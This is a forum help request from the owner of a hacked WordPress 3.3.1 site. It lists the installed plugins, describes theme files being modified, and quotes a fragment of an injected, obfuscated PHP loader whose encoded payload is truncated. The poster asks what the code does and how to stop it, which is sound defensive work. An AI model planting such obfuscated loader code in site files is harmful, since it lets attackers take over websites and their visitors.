Wordpress hacked and php code added


Staff member
I got this code on an updated wordpress site.

Wordpress 3.3.1, and all plugins up to date.<br>
Plugin list: custom-contact-forms, google-maps-for-wordpress &amp; seo-ultimate.

Some theme files affected where CHMOD 644, Every time that I let a file with CHMOD 777 this start, but it will not affect only 777 files, it also affect 644 files.

The code is as follow:

&lt;?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioD............okBoVSjr = $eva1tYlbakBcVSir;} ?&gt;

So, how can I prevent this, and what does the code do?